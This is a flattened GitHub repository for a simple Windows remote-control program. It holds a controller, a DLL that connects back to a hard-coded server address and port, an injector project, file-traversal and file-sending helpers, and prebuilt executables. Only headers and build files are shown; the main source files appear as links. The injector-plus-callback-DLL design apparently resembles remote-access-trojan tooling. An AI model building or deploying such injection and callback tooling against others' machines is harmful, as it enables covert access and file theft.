├── README.md ├── rmtctrl ├── Release │ ├── autod.exe │ ├── condll.dll │ ├── inject.exe │ └── rmtctrl.exe ├── autod │ ├── autod.vcxproj │ ├── autod.vcxproj.filters │ └── main.cpp ├── condll │ ├── MyMutex.cpp │ ├── MyMutex.h │ ├── SockSendFileManager.cpp │ ├── SockSendFileManager.h │ ├── condll.vcxproj │ ├── condll.vcxproj.filters │ ├── condll.vcxproj.user │ ├── dllmain.cpp │ ├── fileop.cpp │ ├── fileop.h │ ├── main.h │ ├── mymalloc.cpp │ ├── mymalloc.h │ ├── socket_util.cpp │ └── socket_util.h ├── inject │ ├── inject.cpp │ ├── inject.h │ ├── inject.vcxproj │ ├── inject.vcxproj.filters │ └── main.cpp ├── rmtctrl.sln └── rmtctrl │ ├── resource.h │ ├── rmtctrl.vcxproj │ ├── rmtctrl.vcxproj.filters │ ├── small.ico │ ├── sunshine.aps │ ├── sunshine.cpp │ ├── sunshine.h │ ├── sunshine.ico │ ├── sunshine.rc │ └── targetver.h └── 远程控制.doc /README.md: -------------------------------------------------------------------------------- 1 | # remote_control 2 | 一个简单的windows的远程控制程序 3 | -------------------------------------------------------------------------------- /rmtctrl/Release/autod.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/Release/autod.exe -------------------------------------------------------------------------------- /rmtctrl/Release/condll.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/Release/condll.dll -------------------------------------------------------------------------------- /rmtctrl/Release/inject.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/Release/inject.exe -------------------------------------------------------------------------------- /rmtctrl/Release/rmtctrl.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/Release/rmtctrl.exe -------------------------------------------------------------------------------- /rmtctrl/autod/autod.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D} 24 | autod 25 | 10.0.16299.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v141 32 | MultiByte 33 | 34 | 35 | Application 36 | false 37 | v141 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v141 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v141 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | true 78 | 79 | 80 | 81 | 82 | Level3 83 | Disabled 84 | true 85 | 86 | 87 | 88 | 89 | Level3 90 | MaxSpeed 91 | true 92 | true 93 | false 94 | 95 | 96 | true 97 | true 98 | 99 | 100 | 101 | 102 | Level3 103 | MaxSpeed 104 | true 105 | true 106 | true 107 | 108 | 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | -------------------------------------------------------------------------------- /rmtctrl/autod/autod.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | -------------------------------------------------------------------------------- /rmtctrl/autod/main.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/autod/main.cpp -------------------------------------------------------------------------------- /rmtctrl/condll/MyMutex.cpp: -------------------------------------------------------------------------------- 1 | #include "MyMutex.h" 2 | 3 | void MyMutex::InitCS(CRITICAL_SECTION* cs) 4 | { 5 | InitializeCriticalSection(cs); 6 | } 7 | 8 | MyMutex::MyMutex(CRITICAL_SECTION* cs) 9 | { 10 | m_cs = cs; 11 | EnterCriticalSection(m_cs); 12 | } 13 | 14 | 15 | MyMutex::~MyMutex() 16 | { 17 | LeaveCriticalSection(m_cs); 18 | } 19 | -------------------------------------------------------------------------------- /rmtctrl/condll/MyMutex.h: -------------------------------------------------------------------------------- 1 | #ifndef _MY_MUTEX_H_ 2 | #define _MY_MUTEX_H_ 3 | 4 | #include 5 | 6 | class MyMutex 7 | { 8 | public: 9 | static void InitCS(CRITICAL_SECTION* cs); 10 | MyMutex(CRITICAL_SECTION* cs); 11 | ~MyMutex(); 12 | private: 13 | CRITICAL_SECTION* m_cs; 14 | }; 15 | 16 | #endif // !_MY_MUTEX_H_ 17 | 18 | 19 | -------------------------------------------------------------------------------- /rmtctrl/condll/SockSendFileManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/condll/SockSendFileManager.cpp -------------------------------------------------------------------------------- /rmtctrl/condll/SockSendFileManager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/condll/SockSendFileManager.h -------------------------------------------------------------------------------- /rmtctrl/condll/condll.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {B80E547B-F118-4B99-95DF-6CDA430A469F} 24 | condll 25 | 10.0.16299.0 26 | 27 | 28 | 29 | DynamicLibrary 30 | true 31 | v141 32 | MultiByte 33 | 34 | 35 | DynamicLibrary 36 | false 37 | v141 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v141 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v141 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | false 78 | 79 | 80 | 81 | 82 | Level3 83 | Disabled 84 | true 85 | 86 | 87 | 88 | 89 | Level3 90 | MaxSpeed 91 | true 92 | true 93 | false 94 | 95 | 96 | true 97 | true 98 | 99 | 100 | 101 | 102 | Level3 103 | MaxSpeed 104 | true 105 | true 106 | true 107 | 108 | 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | -------------------------------------------------------------------------------- /rmtctrl/condll/condll.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 源文件 23 | 24 | 25 | 源文件 26 | 27 | 28 | 源文件 29 | 30 | 31 | 源文件 32 | 33 | 34 | 源文件 35 | 36 | 37 | 38 | 39 | 头文件 40 | 41 | 42 | 头文件 43 | 44 | 45 | 头文件 46 | 47 | 48 | 头文件 49 | 50 | 51 | 头文件 52 | 53 | 54 | 头文件 55 | 56 | 57 | -------------------------------------------------------------------------------- /rmtctrl/condll/condll.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /rmtctrl/condll/dllmain.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/condll/dllmain.cpp -------------------------------------------------------------------------------- /rmtctrl/condll/fileop.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/condll/fileop.cpp -------------------------------------------------------------------------------- /rmtctrl/condll/fileop.h: -------------------------------------------------------------------------------- 1 | #ifndef _MY_FILE_OP_H_ 2 | #define _MY_FILE_OP_H_ 3 | 4 | #include "main.h" 5 | 6 | typedef bool(*pVisitFile)(const char* lpPath, int kind, void* data); 7 | 8 | bool TraverFolder(pVisitFile visit, const char* lpPath, void* data,int findsubdir); 9 | 10 | int MyWriteFile(FILE* f, char* buf, int len); 11 | int MyReadFile(FILE* f, char* buf, int len); 12 | 13 | #endif -------------------------------------------------------------------------------- /rmtctrl/condll/main.h: -------------------------------------------------------------------------------- 1 | #ifndef _MY_MAIN_H_ 2 | #define _MY_MAIN_H_ 3 | #include 4 | #include 5 | 6 | #include 7 | #include "MyMutex.h" 8 | #include "mymalloc.h" 9 | 10 | #ifdef __cplusplus 11 | #define MEXPORT extern "C" __declspec (dllexport) 12 | #else 13 | #define MEXPORT __declspec (dllexport) 14 | #endif 15 | 16 | #define BUFFSIZE (1024*1024) 17 | #define SEVER_IP "127.0.0.1" 18 | //#define SEVER_IP "10.14.114.146" 19 | 20 | #define SEVER_FPORT 8888 21 | #define SEVER_PORT 8889 22 | 23 | typedef unsigned int _uint32; 24 | 25 | typedef struct _MOrder 26 | { 27 | _uint32 cmd; 28 | char data[MAX_PATH]; 29 | }MOrder; 30 | 31 | void DoEveryThingYouWant(void*); 32 | 33 | void MySucConnect(); 34 | 35 | bool MyVisitFile(const char* lpPath, int kind, void* data); 36 | 37 | #endif -------------------------------------------------------------------------------- /rmtctrl/condll/mymalloc.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/condll/mymalloc.cpp -------------------------------------------------------------------------------- /rmtctrl/condll/mymalloc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | void* MyMalloc(size_t& size); -------------------------------------------------------------------------------- /rmtctrl/condll/socket_util.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/condll/socket_util.cpp -------------------------------------------------------------------------------- /rmtctrl/condll/socket_util.h: -------------------------------------------------------------------------------- 1 | #ifndef _MY_SOCKET_UTIL_H_ 2 | #define _MY_SOCKET_UTIL_H_ 3 | 4 | #include "main.h" 5 | 6 | typedef void (*LPAcceptProc)(void*); 7 | 8 | struct SocketInfo 9 | { 10 | SOCKET sock; 11 | sockaddr_in addr; 12 | int addrlen; 13 | void* data; 14 | 15 | SocketInfo() 16 | { 17 | addrlen = sizeof(sockaddr_in); 18 | data = NULL; 19 | } 20 | ~SocketInfo() 21 | { 22 | delete data ; 23 | } 24 | }; 25 | 26 | class CSktUtil 27 | { 28 | public: 29 | 30 | static bool CSUInit(); 31 | static int CSUCleanup(); 32 | 33 | static int CSUConnect(SOCKET& s, char* addr, int port); 34 | static int CSUConnect(SOCKET& s, sockaddr_in& sa); 35 | static void CSUSucConnect(SOCKET& s, sockaddr_in& sa); 36 | static sockaddr_in CSUSucConnect(SOCKET & s, char* addr, int port); 37 | 38 | static int CSUClose(SOCKET s); 39 | 40 | static int CSURecv(SOCKET s, char* buf, int len); 41 | static int CSUSend(SOCKET s, char* buf, int len); 42 | 43 | static int CSUStartAndListen(SOCKET& s, int port); 44 | static int CSUStartAndListen(SOCKET& s, sockaddr_in& sa); 45 | 46 | static int CSUAccept(SOCKET s, LPAcceptProc fuc, void* data, bool& exit); 47 | 48 | private: 49 | 50 | }; 51 | 52 | 53 | #endif -------------------------------------------------------------------------------- /rmtctrl/inject/inject.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/inject/inject.cpp -------------------------------------------------------------------------------- /rmtctrl/inject/inject.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/inject/inject.h -------------------------------------------------------------------------------- /rmtctrl/inject/inject.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {0118C189-B24E-49BE-989A-369F310B448B} 24 | inject 25 | 10.0.16299.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v141 32 | MultiByte 33 | 34 | 35 | Application 36 | false 37 | v141 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v141 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v141 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | false 78 | 79 | 80 | 81 | 82 | Level3 83 | Disabled 84 | true 85 | 86 | 87 | 88 | 89 | Level3 90 | MaxSpeed 91 | true 92 | true 93 | false 94 | 95 | 96 | true 97 | true 98 | 99 | 100 | 101 | 102 | Level3 103 | MaxSpeed 104 | true 105 | true 106 | true 107 | 108 | 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | -------------------------------------------------------------------------------- /rmtctrl/inject/inject.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 源文件 23 | 24 | 25 | 26 | 27 | 头文件 28 | 29 | 30 | -------------------------------------------------------------------------------- /rmtctrl/inject/main.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/inject/main.cpp -------------------------------------------------------------------------------- /rmtctrl/rmtctrl.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27004.2002 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "rmtctrl", "rmtctrl\rmtctrl.vcxproj", "{47F7C0E2-7C37-45B6-98A7-A712F05D41D4}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "condll", "condll\condll.vcxproj", "{B80E547B-F118-4B99-95DF-6CDA430A469F}" 9 | EndProject 10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "autod", "autod\autod.vcxproj", "{2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}" 11 | EndProject 12 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{0118C189-B24E-49BE-989A-369F310B448B}" 13 | EndProject 14 | Global 15 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 16 | Debug|x64 = Debug|x64 17 | Debug|x86 = Debug|x86 18 | Release|x64 = Release|x64 19 | Release|x86 = Release|x86 20 | EndGlobalSection 21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 22 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Debug|x64.ActiveCfg = Debug|x64 23 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Debug|x64.Build.0 = Debug|x64 24 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Debug|x86.ActiveCfg = Debug|Win32 25 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Debug|x86.Build.0 = Debug|Win32 26 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Release|x64.ActiveCfg = Release|x64 27 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Release|x64.Build.0 = Release|x64 28 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Release|x86.ActiveCfg = Release|Win32 29 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Release|x86.Build.0 = Release|Win32 30 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Debug|x64.ActiveCfg = Debug|x64 31 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Debug|x64.Build.0 = Debug|x64 32 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Debug|x86.ActiveCfg = Debug|Win32 33 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Debug|x86.Build.0 = Debug|Win32 34 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Release|x64.ActiveCfg = Release|x64 35 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Release|x64.Build.0 = Release|x64 36 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Release|x86.ActiveCfg = Release|Win32 37 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Release|x86.Build.0 = Release|Win32 38 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Debug|x64.ActiveCfg = Debug|x64 39 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Debug|x64.Build.0 = Debug|x64 40 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Debug|x86.ActiveCfg = Debug|Win32 41 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Debug|x86.Build.0 = Debug|Win32 42 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Release|x64.ActiveCfg = Release|x64 43 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Release|x64.Build.0 = Release|x64 44 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Release|x86.ActiveCfg = Release|Win32 45 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Release|x86.Build.0 = Release|Win32 46 | {0118C189-B24E-49BE-989A-369F310B448B}.Debug|x64.ActiveCfg = Debug|x64 47 | {0118C189-B24E-49BE-989A-369F310B448B}.Debug|x64.Build.0 = Debug|x64 48 | {0118C189-B24E-49BE-989A-369F310B448B}.Debug|x86.ActiveCfg = Debug|Win32 49 | {0118C189-B24E-49BE-989A-369F310B448B}.Debug|x86.Build.0 = Debug|Win32 50 | {0118C189-B24E-49BE-989A-369F310B448B}.Release|x64.ActiveCfg = Release|x64 51 | {0118C189-B24E-49BE-989A-369F310B448B}.Release|x64.Build.0 = Release|x64 52 | {0118C189-B24E-49BE-989A-369F310B448B}.Release|x86.ActiveCfg = Release|Win32 53 | {0118C189-B24E-49BE-989A-369F310B448B}.Release|x86.Build.0 = Release|Win32 54 | EndGlobalSection 55 | GlobalSection(SolutionProperties) = preSolution 56 | HideSolutionNode = FALSE 57 | EndGlobalSection 58 | GlobalSection(ExtensibilityGlobals) = postSolution 59 | SolutionGuid = {166814F6-9CCF-4669-A252-BCA38A53D44E} 60 | EndGlobalSection 61 | EndGlobal 62 | -------------------------------------------------------------------------------- /rmtctrl/rmtctrl/resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/rmtctrl/resource.h -------------------------------------------------------------------------------- /rmtctrl/rmtctrl/rmtctrl.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4} 24 | rmtctrl 25 | 10.0.16299.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v141 32 | MultiByte 33 | 34 | 35 | Application 36 | false 37 | v141 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v141 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v141 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | false 78 | 79 | 80 | 81 | 82 | Level3 83 | Disabled 84 | true 85 | 86 | 87 | 88 | 89 | Level3 90 | MaxSpeed 91 | true 92 | true 93 | false 94 | 95 | 96 | true 97 | true 98 | 99 | 100 | 101 | 102 | Level3 103 | MaxSpeed 104 | true 105 | true 106 | true 107 | 108 | 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | -------------------------------------------------------------------------------- /rmtctrl/rmtctrl/rmtctrl.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 头文件 20 | 21 | 22 | 头文件 23 | 24 | 25 | 头文件 26 | 27 | 28 | 头文件 29 | 30 | 31 | 头文件 32 | 33 | 34 | 头文件 35 | 36 | 37 | 头文件 38 | 39 | 40 | 41 | 42 | 资源文件 43 | 44 | 45 | 资源文件 46 | 47 | 48 | 49 | 50 | 源文件 51 | 52 | 53 | 源文件 54 | 55 | 56 | 源文件 57 | 58 | 59 | 源文件 60 | 61 | 62 | 源文件 63 | 64 | 65 | 源文件 66 | 67 | 68 | 69 | 70 | 资源文件 71 | 72 | 73 | -------------------------------------------------------------------------------- /rmtctrl/rmtctrl/small.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/rmtctrl/small.ico -------------------------------------------------------------------------------- /rmtctrl/rmtctrl/sunshine.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/rmtctrl/sunshine.aps -------------------------------------------------------------------------------- /rmtctrl/rmtctrl/sunshine.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/rmtctrl/sunshine.cpp -------------------------------------------------------------------------------- /rmtctrl/rmtctrl/sunshine.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "resource.h" 4 | 5 | void MyAccept(void*); 6 | void AcceptProc(void*); 7 | 8 | void MyFileAccept(void*); 9 | void FileAcceptProc(void* data); 10 | 11 | bool MyVisitFile(const char* lpPath, int kind, void* data); -------------------------------------------------------------------------------- /rmtctrl/rmtctrl/sunshine.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/rmtctrl/sunshine.ico -------------------------------------------------------------------------------- /rmtctrl/rmtctrl/sunshine.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/rmtctrl/sunshine.rc -------------------------------------------------------------------------------- /rmtctrl/rmtctrl/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。 4 | 5 | // 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将 6 | // 将 _WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /远程控制.doc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/远程控制.doc --------------------------------------------------------------------------------